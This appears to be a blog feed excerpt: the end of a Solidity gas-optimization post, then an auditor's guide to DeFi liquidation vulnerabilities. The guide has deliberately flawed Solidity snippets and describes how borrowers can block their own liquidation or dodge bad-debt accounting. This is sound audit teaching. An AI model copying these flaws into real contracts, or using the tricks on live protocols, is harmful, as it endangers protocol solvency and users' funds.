<p>We can do even better by adding the following to <code>foundry.toml</code> to <a target="_blank" href="https://github.com/devdacian/2025-02-yieldoor/commit/e2068a25fce214466b1517e673706f79f6344244">enable the optimizer</a>:</p>
<pre><code class="lang-solidity">optimizer <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>
optimizer_runs <span class="hljs-operator">=</span> <span class="hljs-number">1_000_000</span>
</code></pre>
<p>Now running <code>forge snapshot --diff --fork-url ETH_RPC_URL --fork-block-number 20956198</code> to refresh the “test function snapshots” gas output gives:</p>
<pre><code class="lang-solidity">test_fuzzWithdraw(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-29626</span> (<span class="hljs-number">-8.053</span><span class="hljs-operator">%</span>)) 
test_fuzzWithdraw(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-29628</span> (<span class="hljs-number">-8.054</span><span class="hljs-operator">%</span>)) 
test_compound() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-139490</span> (<span class="hljs-number">-10.689</span><span class="hljs-operator">%</span>)) 
test_compound() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-139525</span> (<span class="hljs-number">-10.691</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositWithdrawRemainRatio(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-143294</span> (<span class="hljs-number">-11.923</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositWithdrawRemainRatio(<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-143340</span> (<span class="hljs-number">-11.927</span><span class="hljs-operator">%</span>)) 
test_addVestingPosition() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-201759</span> (<span class="hljs-number">-12.766</span><span class="hljs-operator">%</span>)) 
test_addVestingPosition() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-201764</span> (<span class="hljs-number">-12.767</span><span class="hljs-operator">%</span>)) 
test_Gas_LendingPool() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-390653</span> (<span class="hljs-number">-14.188</span><span class="hljs-operator">%</span>)) 
test_canDepositAtAnyPrice(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-120991</span> (<span class="hljs-number">-14.260</span><span class="hljs-operator">%</span>)) 
test_canDepositAtAnyPrice(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-120980</span> (<span class="hljs-number">-14.271</span><span class="hljs-operator">%</span>)) 
test_borrowInThirdToken() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-354141</span> (<span class="hljs-number">-14.593</span><span class="hljs-operator">%</span>)) 
test_partialWithdraw() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-341000</span> (<span class="hljs-number">-14.634</span><span class="hljs-operator">%</span>)) 
testDeposit() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-137266</span> (<span class="hljs-number">-14.672</span><span class="hljs-operator">%</span>)) 
testDeposit() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-137286</span> (<span class="hljs-number">-14.673</span><span class="hljs-operator">%</span>)) 
test_LendingPoolRepaymentAndClaim() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-261501</span> (<span class="hljs-number">-15.235</span><span class="hljs-operator">%</span>)) 
test_cantOpenPositionDueToVolatileVault() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-141161</span> (<span class="hljs-number">-15.338</span><span class="hljs-operator">%</span>)) 
test_LendingPoolRepaymentFromBorrower() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-273610</span> (<span class="hljs-number">-15.374</span><span class="hljs-operator">%</span>)) 
test_fuzzRebalance(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-119467</span> (<span class="hljs-number">-15.540</span><span class="hljs-operator">%</span>)) 
test_fuzzRebalance(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-119520</span> (<span class="hljs-number">-15.546</span><span class="hljs-operator">%</span>)) 
test_Gas_liquidationWithSwap() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-351131</span> (<span class="hljs-number">-15.731</span><span class="hljs-operator">%</span>)) 
test_vaultLimitsWork2() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-300941</span> (<span class="hljs-number">-15.765</span><span class="hljs-operator">%</span>)) 
test_vaultLimitsWork1() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-305623</span> (<span class="hljs-number">-16.010</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositAndWithdraw(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-120873</span> (<span class="hljs-number">-16.496</span><span class="hljs-operator">%</span>)) 
test_fuzzDepositAndWithdraw(<span class="hljs-keyword">uint256</span>,<span class="hljs-keyword">uint256</span>) (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-120924</span> (<span class="hljs-number">-16.502</span><span class="hljs-operator">%</span>)) 
test_Gas_liquidationNoSwap() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-367226</span> (<span class="hljs-number">-16.539</span><span class="hljs-operator">%</span>)) 
test_lendingRate() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-286293</span> (<span class="hljs-number">-17.271</span><span class="hljs-operator">%</span>)) 
test_borrowToken1() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-265396</span> (<span class="hljs-number">-17.548</span><span class="hljs-operator">%</span>)) 
test_cantOpenPositionWhenReserveInactive() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-293424</span> (<span class="hljs-number">-17.566</span><span class="hljs-operator">%</span>)) 
test_permissionedFunctions() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">-684835</span> (<span class="hljs-number">-27.154</span><span class="hljs-operator">%</span>)) 
test_cantOpenDueToPoolPriceOff() (<span class="hljs-built_in">gas</span>: <span class="hljs-number">0</span> (NaN<span class="hljs-operator">%</span>)) 
Overall gas change: <span class="hljs-number">-6642668</span> (<span class="hljs-number">-15.434</span><span class="hljs-operator">%</span>)
</code></pre>
<p>Enabling the optimizer has provided major gas improvements across the board, increasing:</p>
<ul>
<li><p>minimum gas saving from 1.555% to 8.053%</p>
</li>
<li><p>maximum gas saving from 6.198% to 27.154%</p>
</li>
<li><p>overall gas saving from 3.992% to 15.434%, saving 6,642,668 gas instead of only 1,718,350 resulting in an amazing 3.86x improvement!</p>
</li>
</ul>
<p>Finally let’s get the “gas section snapshots” we put around the key <code>Leverager::liquidatePosition</code> function by running <code>forge test --gas-snapshot-check=true --match-test test_Gas --fork-url ETH_RPC_URL --fork-block-number 20956198</code>:</p>
<pre><code class="lang-solidity"><span class="hljs-operator">-</span> [lendingPoolLiquidation] <span class="hljs-number">575367</span> → <span class="hljs-number">484711</span> (<span class="hljs-number">-15.75</span><span class="hljs-operator">%</span>)
<span class="hljs-operator">-</span> [liquidateWithSwap] <span class="hljs-number">618080</span> → <span class="hljs-number">536423</span> (<span class="hljs-number">-13.211</span><span class="hljs-operator">%</span>)
<span class="hljs-operator">-</span> [liquidationNoSwap] <span class="hljs-number">439622</span> → <span class="hljs-number">365286</span> (<span class="hljs-number">-16.909</span><span class="hljs-operator">%</span>)
</code></pre>
<p>We’ve reduced the gas cost of calling <code>Leverager::liquidatePosition</code> by anywhere from 13.211% to 16.909% which matches well with the previously observed overall gas reduction of 15.434%.</p>
<p>Looking to work with me for a Gas Audit on your protocol? <a target="_blank" href="https://x.com/DevDacian">DMs are open</a>!</p>
<h2 id="heading-additional-resources">Additional Resources</h2>
<ul>
<li><p><a target="_blank" href="https://github.com/devdacian/solidity-gas-optimization">Solidity Gas Optimization Examples</a></p>
</li>
<li><p><a target="_blank" href="https://www.cyfrin.io/blog/solidity-gas-efficiency-tips-tackle-rising-fees-base-other-l2">Solidity Gas Optimization Tips</a></p>
</li>
<li><p><a target="_blank" href="https://0xmacro.com/writing/solidity-gas-optimizations-cheat-sheet">Solidity Gas Optimization CheatSheet</a></p>
</li>
<li><p><a target="_blank" href="https://www.rareskills.io/post/gas-optimization">Book of Solidity Gas Optimizations</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[DeFi Liquidation Vulnerabilities]]></title><description><![CDATA[Prompt and efficient liquidation is crucial to maintaining solvency in DeFi protocols, yet it is among the hardest and most complex code to implement in a safe and especially trustless manner. There are many potential vulnerabilities and bugs which c...]]></description><link>https://dacian.me/defi-liquidation-vulnerabilities</link><guid isPermaLink="true">https://dacian.me/defi-liquidation-vulnerabilities</guid><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Web3]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Thu, 23 Jan 2025 11:36:33 GMT</pubDate><content:encoded><![CDATA[<p>Prompt and efficient liquidation is crucial to maintaining solvency in DeFi protocols, yet it is among the hardest and most complex code to implement in a safe and especially trustless manner. There are many potential vulnerabilities and bugs which can have disastrous effects on protocol solvency and user trust, resulting in liquidation implementations having high “bug density”. Smart contract developers and auditors should take note of the following vulnerability classes and verify whether their liquidation code is vulnerable.</p>
<p>Two common terms frequently used with their <a target="_blank" href="https://www.youtube.com/watch?v=AD2IF8ovE-w&amp;t=600s">definitions</a>:</p>
<ul>
<li><p>Liquidatable : <code>collateral_value * loan_to_value_ratio &lt; borrow_value</code><br />  - sufficient collateral remains to cover the borrow<br />  - no bad debt is created if promptly liquidated</p>
</li>
<li><p>Insolvent : <code>collateral_value &lt; borrow_value</code><br />  - insufficient collateral remains to cover the borrow<br />  - creates bad debt for the protocol even after liquidation</p>
</li>
</ul>
<p>The goal of liquidation is to avoid bad debt by promptly liquidating “Liquidatable” positions so they do not become “Insolvent”.</p>
<h2 id="heading-no-liquidation-incentive">No Liquidation Incentive</h2>
<p>Many decentralized protocols don’t use trusted liquidators but allow any address to perform “trustless” liquidation. To incentivize prompt and efficient trustless liquidators such protocols offer a liquidation incentive usually in the form of a liquidation “bonus” or “reward”.</p>
<p>Incentivized trustless liquidators (usually in the form of MEV bots) promptly liquidate any liquidatable positions if the liquidation incentive is greater than the gas cost to perform the liquidation, generating small risk-free profits on a consistent basis.</p>
<p><strong>Heuristic:</strong> if the protocol relies on trustless liquidators, does it incentivize liquidators via a reward or bonus?</p>
<h3 id="heading-no-incentive-to-liquidate-small-positions">No Incentive To Liquidate Small Positions</h3>
<p>If the protocol does not enforce minimum deposits and position sizes, small positions can accumulate which trustless liquidators have <a target="_blank" href="https://solodit.cyfrin.io/issues/there-is-no-incentive-to-liquidate-small-positions-codehawks-foundry-defi-stablecoin-codehawks-audit-contest-git">no incentive to liquidate</a>. An accumulation of insolvent small positions can theoretically be especially problematic for stablecoin protocols by allowing bad debt to accumulate causing the protocol to become under-collateralized.</p>
<p>In addition to enforcing minimum position size for new positions, for protocols that allow:</p>
<ul>
<li><p>modification of an existing position size, the <a target="_blank" href="https://solodit.cyfrin.io/issues/user-can-create-small-position-after-exit-with-bid-codehawks-dittoeth-git">final position size should be checked to not be too small</a></p>
</li>
<li><p>partial liquidation, a <a target="_blank" href="https://solodit.cyfrin.io/issues/h-7-possible-to-liquidate-past-the-debt-outstanding-above-the-min-borrow-without-liquidating-the-entire-debt-outstanding-sherlock-none-notional-v3-git">partial liquidation should not result in the remaining debt position being too small</a></p>
</li>
</ul>
<p><strong>Heuristic:</strong> does the protocol enforce minimum position size? Is this enforced in every function which can change position size, or only when opening a new position?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/lack-of-incentives-to-liquidate-small-positions-openzeppelin-none-euler-vault-kit-evk-audit-markdown">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-05-no-incentive-to-liquidate-small-positions-could-result-in-protocol-going-underwater-code4rena-dyad-dyad-git">2</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-03-no-minloansize-means-liquidators-will-have-no-incentive-to-liquidate-small-positions-code4rena-revert-lend-revert-lend-git">3</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-05-the-protocol-allows-borrowing-small-positions-that-can-create-bad-debt-code4rena-wise-lending-wise-lending-git">4</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/no-incentive-to-liquidate-small-positions-could-result-in-protocol-going-underwater-codehawks-the-standard-git">5</a>]</p>
<h3 id="heading-profitable-user-withdraws-all-collateral-removing-liquidation-incentive">Profitable User Withdraws All Collateral Removing Liquidation Incentive</h3>
<p>In trading protocols such as perpetuals, users with open long/short positions have their current profit/loss (PNL) counted when determining the total value of their collateral. When a user’s position has a large positive PNL, that user may be able to <a target="_blank" href="https://solodit.cyfrin.io/issues/user-can-withdraw-all-collateral-when-a-position-has-enough-profit-so-if-liquidated-no-collateral-can-be-deducted-codehawks-zaros-git">withdraw most or even all of their deposited collateral while continuing to remain solvent</a>.</p>
<p>If the user’s PNL subsequently declines the position will become liquidatable. However since the user has withdrawn their collateral there is nothing to seize and give as incentive to the liquidator beyond the remaining positive PNL. The lack of collateral may result insufficient liquidation incentive (or even a panic revert when attempting liquidation) causing the position to not be liquidated and subsequently become insolvent.</p>
<p>A simple mitigation is to always ensure that a user with open trading positions must have a minimal amount of collateral deposited regardless of their potentially large positive PNL. Another mitigation may be to “discount” positive PNL such that it doesn’t provide the same “collateral weight” compared to actually deposited collateral.</p>
<p>Allowing users to <a target="_blank" href="https://solodit.cyfrin.io/issues/h-3-liquidation-can-be-dosed-due-to-lack-of-liquidity-on-collateral-asset-reserve-sherlock-zerolend-one-git">borrow deposited collateral without limits</a> can also be dangerous as it can lead to the same state.</p>
<p><strong>Heuristic:</strong> can a profitable user withdraw their deposited collateral? If yes, what happens if the market reverses and the user becomes unprofitable?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/m-04-withdrawing-uncollateralized-deposits-is-possible-even-though-the-position-is-in-liquidation-mode-code4rena-wise-lending-wise-lending-git">1</a>]</p>
<h2 id="heading-no-mechanism-to-handle-bad-debt">No Mechanism To Handle Bad Debt</h2>
<p>A liquidatable position if not promptly liquidated can reach an insolvent state where the liquidation reward and seized collateral received for liquidating the position is worth less than the debt tokens required to resolve the bad debt and liquidate the position.</p>
<p>In such a scenario trustless liquidators have <a target="_blank" href="https://solodit.cyfrin.io/issues/m-02-no-incentive-to-liquidate-when-cr-1-as-asset-received-dyad-burned-code4rena-dyad-dyad-git">no incentive to liquidate the position</a>, allowing bad debt to accrue in the protocol. Protocols may also not account for this state causing the liquidation transaction to panic revert, making liquidation of insolvent positions impossible. This issue can be mitigated by:</p>
<ul>
<li><p>operating trusted liquidators which promptly liquidate all liquidatable positions</p>
</li>
<li><p>having an “insurance fund” typically funded via protocol fees which can absorb the bad debt such that trustless liquidators still profit from liquidating normally unprofitable positions</p>
</li>
<li><p>socializing bad debt amongst protocol users such as liquidity providers</p>
</li>
</ul>
<p><strong>Heuristic:</strong> does the protocol implement a mechanism to handle bad debt? What happens when an insolvent position gets liquidated?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/m-4-bad-debt-shortfall-liquidation-leaves-liquidated-user-in-a-negative-collateral-balance-which-can-cause-bank-run-and-loss-of-funds-for-the-last-users-to-withdraw-sherlock-none-perennial-v2-git">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-03-potential-avoidance-of-liquidation-pashov-audit-group-none-sharwafinance-markdown">2</a>]</p>
<h2 id="heading-partial-liquidation-bypasses-bad-debt-accounting">Partial Liquidation Bypasses Bad Debt Accounting</h2>
<p>Consider this liquidation code:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// additional processing when position closed by liquidation</span>
<span class="hljs-keyword">if</span> (<span class="hljs-operator">!</span>hasPosition) {
    <span class="hljs-keyword">int256</span> remainingMargin <span class="hljs-operator">=</span> vault.margin;

    <span class="hljs-comment">// credit positive margin to vault recipient</span>
    <span class="hljs-keyword">if</span> (remainingMargin <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">if</span> (vault.recipient <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>)) {
            vault.margin <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

            sentMarginAmount <span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(remainingMargin);

            ERC20(pairStatus.quotePool.token).safeTransfer(
                vault.recipient, sentMarginAmount);
        }
    }
    <span class="hljs-comment">// otherwise ensure liquidator covers bad debt</span>
    <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (remainingMargin <span class="hljs-operator">&lt;</span> <span class="hljs-number">0</span>) {
        vault.margin <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;

        <span class="hljs-comment">// any losses that cannot be covered by the vault</span>
        <span class="hljs-comment">// must be compensated by the liquidator</span>
        ERC20(pairStatus.quotePool.token).safeTransferFrom(
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>), <span class="hljs-keyword">uint256</span>(<span class="hljs-operator">-</span>remainingMargin));
    }
}
</code></pre>
<p>If the liquidation transaction was a full liquidation that closed the position, this code ensures that the liquidator covers any bad debt associated with the position. However as this check only occurs if the position was completely liquidated, a partial liquidator can bypass this check by not liquidating the entire position.</p>
<p>This allows a <a target="_blank" href="https://solodit.cyfrin.io/issues/h-02-liquidators-can-bypass-remaining-negative-margin-check-and-leave-the-loss-to-the-protocol-code4rena-predy-predy-git">liquidator to bypass the bad debt accounting</a> allowing bad debt to accrue within the protocol. One potential mitigation is to ensure that when partial liquidations are performed on an insolvent position, the corresponding amount of the position’s bad debt is covered by the insurance fund or bad debt socialization mechanism.</p>
<p><strong>Heuristic:</strong> is bad debt accounted for during partial liquidation of an insolvent position?</p>
<h2 id="heading-no-partial-liquidation-prevents-whale-liquidation">No Partial Liquidation Prevents Whale Liquidation</h2>
<p>In protocols where trustless liquidators supply the debt tokens required to resolve a borrower’s bad debt, partial liquidation should be supported to allow liquidators to liquidate portions of large liquidatable positions. If partial liquidation is not supported this makes it <a target="_blank" href="https://solodit.cyfrin.io/issues/h-02-inability-to-perform-partial-liquidations-allows-huge-positions-to-accrue-bad-debt-in-the-system-code4rena-dyad-dyad-git">impossible to liquidate large liquidatable positions</a> opened by whales since individual liquidators may not have enough tokens to resolve the large debt.</p>
<p>Flash loans can be used to liquidate large positions but only if the loan size does not exceed current market liquidity - which is not guaranteed to always be true.</p>
<p><strong>Heuristic:</strong> does the protocol support partial liquidation? If not, how can a whale user be liquidated? Are there other safeguards such as caps on maximum position size? If so, how effective are these additional safeguards at ensuring the largest possible position can be liquidated?</p>
<h2 id="heading-liquidation-denial-of-service">Liquidation Denial Of Service</h2>
<p>If an attacker can permanently cause liquidations to revert or prevent themselves from being liquidated, this represents a critical danger to the solvency of many protocols as it allows bad debt to build up in the system. Several known attack paths have been found in audits of real-world protocols:</p>
<h3 id="heading-attacker-uses-many-small-positions-to-prevent-liquidation">Attacker Uses Many Small Positions To Prevent Liquidation</h3>
<p>Consider the following liquidation code which iterates over all of a user’s current positions:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_removePosition</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> positionId</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
    <span class="hljs-keyword">address</span> trader <span class="hljs-operator">=</span> userPositions[positionId].owner;
    positionIDs[trader].removeItem(positionId);
}

<span class="hljs-comment">// @audit called by `_removePosition`</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">removeItem</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span>[] <span class="hljs-keyword">storage</span> items, <span class="hljs-keyword">uint256</span> item</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> </span>{
    <span class="hljs-keyword">uint256</span> index <span class="hljs-operator">=</span> getItemIndex(items, item);

    removeItemByIndex(items, index);
}

<span class="hljs-comment">// @audit called by `removeItem`</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getItemIndex</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span>[] <span class="hljs-keyword">memory</span> items, <span class="hljs-keyword">uint256</span> item</span>) <span class="hljs-title"><span class="hljs-keyword">internal</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
    <span class="hljs-keyword">uint256</span> index <span class="hljs-operator">=</span> <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span>;

    <span class="hljs-comment">// @audit OOG revert for large items.length</span>
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&lt;</span> items.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        <span class="hljs-keyword">if</span> (items[i] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> item) {
            index <span class="hljs-operator">=</span> i;
            <span class="hljs-keyword">break</span>;
        }
    }

    <span class="hljs-keyword">return</span> index;
}
</code></pre>
<p>A malicious user could exploit this <code>for</code> loop to make themselves impossible to liquidate by opening many small positions and allowing the last position to become liquidatable; whenever a liquidator attempts to liquidate that last position the <a target="_blank" href="https://solodit.cyfrin.io/issues/m-05-possible-dos-when-calling-gammatrademarket_removeposition-will-cause-user-position-to-not-be-able-to-get-liquidated-code4rena-predy-predy-git">liquidation will revert due to out of gas</a>. This issue can be mitigated by:</p>
<ul>
<li><p>enforcing a minimum position size to prevent many “dust” positions</p>
</li>
<li><p>using a <code>mapping</code> or other data structure that prevents iterating over every position</p>
</li>
</ul>
<p><strong>Heuristic:</strong> does the protocol iterate over an unbounded list which the users can add items to? Is there a minimum position size enforced?</p>
<p>More examples: [<a target="_blank" href="https://solodit.cyfrin.io/issues/m-01-borrower-can-abuse-entermarkets-to-force-liquidator-can-pay-more-funds-code4rena-beta-finance-beta-finance-git">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/liquidation-can-be-avoided-due-to-unbounded-position-list-openzeppelin-none-panoptic-audit-markdown">2</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-03-potential-avoidance-of-liquidation-pashov-audit-group-none-sharwafinance-markdown">3</a>]</p>
<h3 id="heading-attacker-uses-multiple-positions-to-prevent-liquidation">Attacker Uses Multiple Positions To Prevent Liquidation</h3>
<p>In some protocols where a user can have multiple open positions, their health score is considered collectively across all positions to determine whether that user is subject to liquidation. In these protocols when liquidation occurs all of a user’s open positions are liquidated in the same transaction.</p>
<p>Consider the following code:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// load open markets for account being liquidated</span>
ctx.amountOfOpenPositions <span class="hljs-operator">=</span> tradingAccount.activeMarketsIds.<span class="hljs-built_in">length</span>();

<span class="hljs-comment">// iterate through open markets</span>
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> j <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; j <span class="hljs-operator">&lt;</span> ctx.amountOfOpenPositions; j<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
    <span class="hljs-comment">// load current active market id into working data</span>
    <span class="hljs-comment">// @audit assumes constant ordering of active markets</span>
    ctx.marketId <span class="hljs-operator">=</span> tradingAccount.activeMarketsIds.at(j).toUint128();

    <span class="hljs-comment">// snip - a bunch of liquidation processing code //</span>

    <span class="hljs-comment">// remove this active market from the account</span>
    <span class="hljs-comment">// @audit this calls `EnumerableSet::remove` which changes the order of `activeMarketIds`</span>
    tradingAccount.updateActiveMarkets(ctx.marketId, ctx.oldPositionSizeX18, SD_ZERO);
</code></pre>
<p>Because <code>EnumerableSet</code> provides <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/structs/EnumerableSet.sol#L16">no guarantees</a> that the order of elements is <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/structs/EnumerableSet.sol#L131-L141">preserved</a> and its <code>remove</code> function uses the <a target="_blank" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/structs/EnumerableSet.sol#L89-L91">swap-and-pop</a> method for performance reasons, the ordering of a user’s active markets will be corrupted when an active market is removed if that active market is not the last active market for that user.</p>
<p>A malicious user can weaponize this to <a target="_blank" href="https://solodit.cyfrin.io/issues/impossible-to-liquidate-accounts-with-multiple-active-markets-as-liquidationbranchliquidateaccounts-reverts-due-to-corruption-of-ordering-in-tradingaccountactivemarketsids-cyfrin-none-cyfrinzaros-markdown">make their account impossible to liquidate by opening multiple positions</a> and triggering this corruption, causing any liquidation attempt to revert with <code>panic: array out-of-bounds access</code>.</p>
<p>A simple way to prevent this issue is to iterate over a memory copy of <code>activeMarketIds</code> by calling <code>EnumerableSet::values</code> instead of iterating over the storage directly.</p>
<p><strong>Heuristic:</strong> can a user with multiple open positions be liquidated? Does the test suite contain a test for this scenario?</p>
<h3 id="heading-attacker-uses-front-run-to-prevent-liquidation">Attacker Uses Front-Run To Prevent Liquidation</h3>
<p>Can a liquidatable user change variables used during the liquidation transaction such that this change would cause liquidation to revert? If so a user can make themselves impossible to liquidate by front-running any liquidation transaction to make the required changes and hence cause that transaction to subsequently revert. Some examples include blocking liquidation by:</p>
<ul>
<li><p><a target="_blank" href="https://solodit.cyfrin.io/issues/h-7-liquidation-can-be-blocked-by-incrementing-the-nonce-sherlock-none-symmetrical-git">incrementing the nonce</a></p>
</li>
<li><p><a target="_blank" href="https://solodit.cyfrin.io/issues/h-1-it-is-possible-to-frontrun-liquidations-with-self-liquidation-with-high-strain-value-to-clear-warning-and-keep-unhealthy-positions-from-liquidation-sherlock-aloe-git">partial (very small) self-liquidation</a> which prevents liquidation in the <a target="_blank" href="https://solodit.cyfrin.io/issues/h-01-liquidations-can-be-prevented-by-frontrunning-and-liquidating-1-debt-or-more-due-to-wrong-assumption-in-pos_manager-code4rena-init-capital-init-capital-git">same block</a> or for a longer period by <a target="_blank" href="https://solodit.cyfrin.io/issues/h-05-user-can-evade-liquidation-by-depositing-the-minimum-of-tokens-and-gain-time-to-not-be-liquidated-code4rena-saltyio-saltyio-git">resetting a cool-down</a></p>
</li>
</ul>
<p><strong>Heuristic:</strong> is there any user-controlled variable that makes liquidation revert? If so, can a liquidatable user front-run the liquidation transaction to change this variable forcing liquidation to revert? What actions can a liquidatable user perform, and should they be able to perform those actions?</p>
<p>More examples: [<a target="_blank" href="https://code4rena.com/reports/2024-02-wise-lending#m-08-borrowers-can-dos-liquidations-by-repaying-as-little-as-1-share">1</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/attacker-can-grief-liquidations-and-repayments-zokyo-none-creditswap-markdown">2</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/owner-of-a-bad-shortrecord-can-front-run-flagshort-calls-and-liquidatesecondary-and-prevent-liquidation-codehawks-dittoeth-git">3</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/borrower-can-prevent-hisher-loan-from-being-liquidated-codehawks-beedle-oracle-free-perpetual-lending-git">4</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/liquidation-avoidance-by-front-running-liquidatecreditaccount-with-ownership-transfer-sigmaprime-none-gearbox-pdf">5</a>, <a target="_blank" href="https://solodit.cyfrin.io/issues/m-16-repayments-and-liquidations-can-be-forced-to-revert-by-an-attacker-that-repays-minuscule-amount-of-shares-code4rena-revert-lend-revert-lend-git">6</a>]</p>
<h3 id="heading-attacker-uses-pending-action-to-prevent-liquidation">Attacker Uses Pending Action To Prevent Liquidation</h3>
<p>Consider this check during liquidation:</p>
<pre><code class="lang-solidity"><span class="hljs-built_in">require</span>(balance <span class="hljs-operator">-</span> (withdrawalPendingAmount <span class="hljs-operator">+</span> depositPendingAmount) <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>);
</code></pre>
<p>A malicious user can abuse this by <a target="_blank" href="https://github.com/GuardianAudits/Audits/blob/main/Dolomite/2024-01-11_Dolomite.pdf">creating a pending withdrawal equal to their balance which forces all subsequent liquidation attempts to revert</a>, making themselves impossible to liquidate. A simple mitigation is to prevent users who are subject to liquidation from performing many protocol functions such as deposits, withdrawals and swaps, though this still leaves an edge case when an innocent user had a pending withdrawal then became subject to liquidation.</p>
<p>An attacker may also be able to <a target="_blank" href="https://solodit.cyfrin.io/issues/h-04-an-attacker-can-mint-free-dusd-and-liquidate-the-corresponding-short-record-to-earn-liquidation-rewards-code4rena-dittoeth-dittoeth-git">use protocol functions while being in a liquidatable state to profit from the subsequent liquidation</a> - protocols should carefully evaluate which actions if any a liquidatable user can perform.</p>
<p><strong>Heuristic:</strong> are there any actions which take several transactions over multiple blocks to complete? If so, what happens when a user is liquidated while these actions are in a “pending” state? What actions can a liquidatable user perform, and should they be able to perform those actions?</p>
